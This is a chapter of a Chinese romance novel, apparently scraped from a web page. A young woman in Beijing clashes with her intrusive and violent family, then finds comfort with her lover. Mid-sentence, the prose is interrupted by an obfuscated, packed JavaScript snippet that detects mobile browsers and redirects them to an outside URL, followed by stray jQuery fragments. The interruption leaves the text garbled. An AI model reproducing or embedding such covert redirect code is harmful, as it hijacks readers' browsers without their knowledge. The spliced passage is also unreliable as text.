京市的夜晚，灯火辉煌，每一盏灯下都有一个漂泊的故事。
譬如唐觅楼下的大爷，是第一届恢复高考时来的，在北京落了户，买了房，娶了媳妇，安了家。后来儿子去了美国，老伴也去世了，留他一个人在这儿。听说最近准备回东北老家去，北漂一辈子，最后得落叶归根。
大爷爱拉二胡，咿咿呀呀的曲调飘在夜里，总有一种异乡人的凄凉。
唐觅爱听二胡，尤其是晚上下班后。不开灯，坐在沙发上静静地听一会儿，放空一整天的疲惫。那时候她总会想，自己什么时候能在京市扎根下来。
但今天，她刚打开家门，却灯火通明。
“觅觅回来啦！”妈妈从厨房里出来，手扶着门框。
嫂子坐在客厅沙发上，一手撑后腰，一手在隆起的肚子上抚着，客气招呼道：“小妹。”
唐学志则是坐沙发另一边，没有出声，电视的荧光只照亮他的半张脸。
他们同时看过来，唐觅站立门口，反倒像个客人。
“你们怎么来了？”唐觅淡淡地道。
看着房间里多出来的行李，她皱了皱眉，又若无其事地去换拖鞋，发现拖鞋已被他们穿走，便打着赤脚进去。
嫂子说：“下午刚来，爸妈想看看你，你还没下班。”
唐觅打断她：“我问你们怎么进来的？”
“这不是从地毯下面找的钥匙吗？我知道你一直都有这习惯……”妈妈用围裙反复地搓着手，一脸拘谨。
唐觅冷笑道：“所以你们就自作主张进了我家，没有我的同意，这在法律上算非法闯入懂不懂？”
唐学志说：“你少动不动地就拿法律吓唬人，你去告啊，你看有没有人管！我是你爸，我来你家怎么了？这是天经地义！”
唐觅将背包扔在沙发上，道：“你当初赶我的时候，怎么不说你是我爸？！”
唐学志道：“那是你胡说八道，小小年纪就搬弄是非。”
唐觅直问他脸上道：“哦？我胡说八道？我搬弄是非？那你说我胡说什么呀？你这么迫不及待地赶我，到底是我胡说，还是你心虚？！”
唐学志绷不住脸面，眼看着就要动手。
嫂子从他后面站起来，笑了一声道：“按理说，我不该参与这事儿。但是小妹，你怎么能这么跟长辈说话呢？俗话说子不教父之过，爸对你严格，也是为了你好，否则你现在怎么可能这么有出息。这人呐，都是逼出来的，你看你哥就是被溺爱，哪有你这么有本事。”
唐学志道：“还是你嫂子说话在理，你该多学学。”
争端就在这一刻爆发。
唐觅气得浑身发抖，扭头红着一双眼质问她：“你怎么好意思提我哥？你们对得起他吗？你们简直丧尽天良！”
嫂子不说话，唐学志上前一把揪住她的衣领，把她的头按在沙发靠背上，叫道：“今天不好好教训你，你要反天了！”
唐觅奋起反抗，猛地将他撞开。
嫂子扶了他一把，说：“一家人别动手啊。”
“你们今天别想留在我这里！”唐觅放下一句狠话，径直走进卧室。
卧室只开一盏小灯，佛光似的，影影绰绰只瞧见妈妈坐床边，缓缓转动手中的一串念珠。
唐觅走到跟前蹲下，心里一酸，哽咽道：“妈。”
外面的动静，王芝韵其实听得清清楚楚，但她也没办法。她咳嗽一声，用拿着念珠那只手在唐觅的手背上拍了拍，说：“你爸就这样，你不要放在心上。最近又快退休，单位里的人也不好，他压力大，难免冲你发火。”
听她避重就轻，唐觅觉得没意思，便不说话。
王芝韵又转了几下念珠，缓缓道：“家和万事兴，你就忍了吧，实在看不下去，那你出去住。我不是一样这么过来了吗？我那些同学都死了好几个，说不准什么时候我也撒手顾不了你。当初让你回家找工作，再结婚嫁人，你不愿意。现在隔这么远，我也担心。”
正说着，卧室门从外面打开，嫂子叫吃饭，王芝韵笑呵呵地出去，留唐觅一个人蹲在原地。
外间欢声笑语，她蹲得腿脚发麻，皮肤底下像是许许多多蚂蚁在咬。看着王芝韵随手放在床边的念珠，突然往前一扑，呜呜地哭起来。
这情景就像几年前，唐学志赶她出门，她一样抱着王芝韵，头枕在她膝盖上，哭道：“妈！妈！”
王芝韵摸着她的头，沉默良久，说：“我也没办法，要不你还是先出去住一段时间。”
恍惚又是多年前，她还很小的时候，妈妈将她放在条凳上看电视。小孩子坐不安稳，一不小心就往后摔下去，后脑勺恰好撞到桌子一角。她爬不起来，只眼睁睁地透过门缝盯着另一个房间里的妈妈。
妈妈背对着她，虔诚拜佛，只有一个沉默的背影。
而她在那一刻好像被魇住了，哭不出来，更喊不出来。
不知过了多久，等客厅里的人都吃完了饭，王芝韵进来问她今晚怎么住，唐觅才勉强撑着床边站起来，简单收拾一下。最终还是她又一次离开了家。
她想不通，自己到底是做了多大的错事，才会落得这么惨的局面。于是出了门，就给哥哥打去了电话。
——可听到的却仍是那一套。哥哥说，反正自己没本事，老婆还愿意跟着他，给他钱花，已然不错。至于其他事情，他都管不着。
六楼大爷的二胡还在拉，倒是换了一首欢快的曲子。唐觅越往前走，最后站在楼下往上望，一格格窗户的光映出来，里面阖家欢乐。
热闹都是他们的，她什么都没有。
这城市广阔，她是无根的浮萍，不知将要飘往何方。
她好像又看见了三年前的那场雪，纷纷扬扬落下来，把世界都覆盖。
也就在这时，电话铃声刺破眼前虚无缥缈的景象。
是周阅川。
他的声音从听筒里传来，像带了引力
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283006|198371||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的磁，真真切切地钻进她的耳朵里来。
他笑着问她：“还在生气吗？”
唐觅崩溃大哭。
……
这天夜里，周阅川看唐觅坐在路边的长椅上，孤零零一个人，脚边放一只小皮箱。望见他来，大眼睛通红，泪珠子滚滚落下。
他走过去站定，蹙眉问道：“大晚上的，这是闹哪一出？”
唐觅低头，抽哒哒地继续哭，没有回答。
周阅川颇无奈地叹气，蹲在她面前，指尖轻拂她的眼泪，问：“发生了什么事情？”
那是一个温柔的夜，路灯的光洒在他的脸上，像度了一层模糊的银边，而他的眼睛却亮得清晰。
那里面全是她的影子。
唐觅的心像是被捏了一把，一晚上的情绪喷涌而出，撞进他的胸膛。人却像哑巴似的，除了哭，再说不出话来。
周阅川抱了她许久，问她是回家，还是去他那里，唐觅都摇头。最后只轻声说，现在陪我去一个地方。
于是，周阅川揽着她起身，将车开到p大附近，走进一条窄巷，老旧居民楼前停几辆落灰的自行车。两人从单元门进去，黑暗中，一只花猫从楼道里蹿出来。
唐觅开了房门，里面一片漆黑。周阅川走后面，她转身过来，一把抱住，唇贴着他的下巴，“亲我。”
周阅川顺势抱紧，感到她浑身发抖。腰身是在发抖，背在发抖，唇也发抖。
房间漆黑无光，月光从楼道墙壁的花窗透进，两人的影子在门口.交叠，纠缠许久才挪进去。唐觅摸到门锁，轻轻合上。
周阅川低声问：“开关在哪里？开灯。”
“不要。”唐觅说，抱着他的脖子没撒手，“我不想开灯。”
“喜欢这样？”黑暗中，周阅川轻笑了一声，依了她。
摸黑走几步，碰到一张床，倒下去便听到咯吱咯吱的床垫声响，宛若一阵压抑的呻.吟。他的手中是温热的轮廓，波浪似的起伏摆动。他解开了扣子。
唐觅像是跌进一片黑色的云中，紧紧密密地将她包裹。她一直看着天花板，似乎看见了有一片云，白色的云，在天上缓缓地飘荡。而她的身下，流淌着一条寂寞的河。
等一切平息，唐觅起身，开了灯。
房间亮了，逼窄的十多平米，床占一大半空间，旁边放一把椅子，一张小几，上面摊些笔记资料。四面墙壁空空，门口堆放两只硕大行李箱。
而屋内一角，竟供一尊半人高的破碎观音瓷像。
周阅川没由得一惊，下床走近仔细看，脑子都混乱了。
观音像是碎了的，一小片一小片拼接起来，缝隙中打了胶水。时间长了，胶水痕迹变黄，像是一条条渗人的疤痕遍布全身。而有些地方，比如右眼，又缺了碎片，便用白纸补上，上面又用彩色的笔勾画。
就这么一尊残缺的观音像，静默地看着他，面前香炉中剩些断裂的香，犹如恐怖片里的场景。